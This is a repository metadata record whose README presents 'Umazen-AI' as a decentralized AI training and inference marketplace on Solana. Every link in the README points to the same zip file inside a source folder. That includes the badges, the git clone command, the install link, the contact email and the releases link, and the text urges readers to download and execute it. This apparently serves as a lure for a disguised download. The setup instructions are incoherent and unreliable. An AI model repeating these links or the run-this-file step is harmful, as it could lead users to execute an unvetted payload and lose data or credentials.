{"id":27722562,"url":"https://github.com/mohmer/umazen-ai","last_synced_at":"2026-04-20T13:35:30.692Z","repository":{"id":287385542,"uuid":"964538736","full_name":"Mohmer/Umazen-AI","owner":"Mohmer","description":"Build a decentralized AI infrastructure on Solana, enabling secure on-chain model training and creating a global marketplace for AI inference services.","archived":false,"fork":false,"pushed_at":"2025-04-27T11:58:57.000Z","size":234,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-27T12:24:54.824Z","etag":null,"topics":["ai","decentralized-ai","federated-learning","gpu-orchestration","inference-market","kubernetes-ai","onchain-ml","privacy-preserving-ai","rust-ai","smart-contracts","solana","zero-knowledge-proofs","zkml"],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Mohmer.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-11T11:23:37.000Z","updated_at":"2025-04-27T11:59:01.000Z","dependencies_parsed_at":"2025-04-25T19:20:00.463Z","dependency_job_id":"fab5a7b8-8f31-45bc-a151-a8d2a9cad90e","html_url":"https://github.com/Mohmer/Umazen-AI","commit_stats":null,"previous_names":["mohmer/umazen-ai"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mohmer%2FUmazen-AI","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mohmer%2FUmazen-AI/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mohmer%2FUmazen-AI/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mohmer%2FUmazen-AI/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Mohmer","download_url":"https://codeload.github.com/Mohmer/Umazen-AI/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251135891,"owners_count":21541491,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai","decentralized-ai","federated-learning","gpu-orchestration","inference-market","kubernetes-ai","onchain-ml","privacy-preserving-ai","rust-ai","smart-contracts","solana","zero-knowledge-proofs","zkml"],"created_at":"2025-04-27T12:24:58.288Z","updated_at":"2026-04-20T13:35:30.685Z","avatar_url":"https://github.com/Mohmer.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Umazen-AI 🌐🤖\n\n![Umazen-AI](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip)\n![Version](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip)\n![License](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip)\n\nWelcome to **Umazen-AI**, a pioneering project aimed at building a decentralized AI infrastructure on the Solana blockchain. Our goal is to enable secure on-chain model training and create a global marketplace for AI inference services. This README will guide you through the project, its features, and how to get started.\n\n---\n\n## Table of Contents\n\n1. [Introduction](#introduction)\n2. [Features](#features)\n3. [Technologies Used](#technologies-used)\n4. [Installation](#installation)\n5. [Usage](#usage)\n6. [Contributing](#contributing)\n7. [License](#license)\n8. [Contact](#contact)\n9. [Releases](#releases)\n\n---\n\n## Introduction\n\nIn the era of artificial intelligence, the need for decentralized solutions is more pressing than ever. **Umazen-AI** leverages the Solana blockchain to provide a secure, scalable, and efficient environment for AI model training and inference. Our platform allows developers and data scientists to collaborate while ensuring data privacy and security.\n\n---\n\n## Features\n\n- **Decentralized AI Infrastructure**: Build and train AI models without relying on centralized servers.\n- **On-Chain Model Training**: Train your models directly on the blockchain, ensuring transparency and security.\n- **Global Marketplace**: Access a marketplace for AI inference services, enabling seamless integration and deployment.\n- **Privacy-Preserving AI**: Use advanced techniques to protect sensitive data while training models.\n- **Federated Learning**: Collaborate across multiple data sources without compromising data privacy.\n- **GPU Orchestration**: Efficiently manage GPU resources for training and inference.\n- **Smart Contracts**: Utilize smart contracts for automating agreements and transactions within the platform.\n- **Zero-Knowledge Proofs**: Enhance privacy and security with zk proofs, ensuring data remains confidential.\n\n---\n\n## Technologies Used\n\n- **Solana**: A high-performance blockchain for decentralized applications.\n- **Rust**: The primary programming language for building smart contracts on Solana.\n- **Kubernetes**: For orchestrating containerized applications and managing resources.\n- **AI Frameworks**: Such as TensorFlow and PyTorch for model development.\n- **Zero-Knowledge Proofs**: For privacy-preserving computations.\n\n---\n\n## Installation\n\nTo get started with **Umazen-AI**, follow these steps:\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip\n   cd Umazen-AI\n   ```\n\n2. **Install Dependencies**:\n   Ensure you have Rust and Cargo installed. You can install them from [https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip).\n\n   ```bash\n   cargo build\n   ```\n\n3. **Set Up Kubernetes**:\n   Follow the official Kubernetes documentation to set up your cluster.\n\n4. **Deploy the Application**:\n   Use the provided Kubernetes configurations to deploy Umazen-AI.\n\n---\n\n## Usage\n\nAfter installation, you can start using **Umazen-AI** by following these steps:\n\n1. **Train a Model**:\n   Use the command line interface to start training your AI model on the blockchain.\n\n   ```bash\n   ./umazen train --model \u003cmodel_name\u003e\n   ```\n\n2. **Deploy for Inference**:\n   Once your model is trained, deploy it to the marketplace.\n\n   ```bash\n   ./umazen deploy --model \u003cmodel_name\u003e\n   ```\n\n3. **Access the Marketplace**:\n   Visit the marketplace to see available models and services.\n\n---\n\n## Contributing\n\nWe welcome contributions to **Umazen-AI**. To contribute:\n\n1. Fork the repository.\n2. Create a new branch:\n   ```bash\n   git checkout -b feature/YourFeature\n   ```\n3. Make your changes and commit them:\n   ```bash\n   git commit -m \"Add your feature\"\n   ```\n4. Push to your branch:\n   ```bash\n   git push origin feature/YourFeature\n   ```\n5. Create a pull request.\n\n---\n\n## License\n\n**Umazen-AI** is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.\n\n---\n\n## Contact\n\nFor questions or support, please reach out to us:\n\n- **Email**: https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip\n- **Twitter**: [@UmazenAI](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip)\n\n---\n\n## Releases\n\nYou can find the latest releases of **Umazen-AI** [here](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip). Please download and execute the latest version to enjoy the new features and improvements.\n\nTo stay updated with the latest changes, check the [Releases](https://github.com/Mohmer/Umazen-AI/raw/refs/heads/main/federated-learning/coordinator/src/aggregation/Umazen_AI_v3.9.zip) section regularly.\n\n---\n\nThank you for your interest in **Umazen-AI**! Together, we can build a decentralized future for AI.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmohmer%2Fumazen-ai","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmohmer%2Fumazen-ai","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmohmer%2Fumazen-ai/lists"}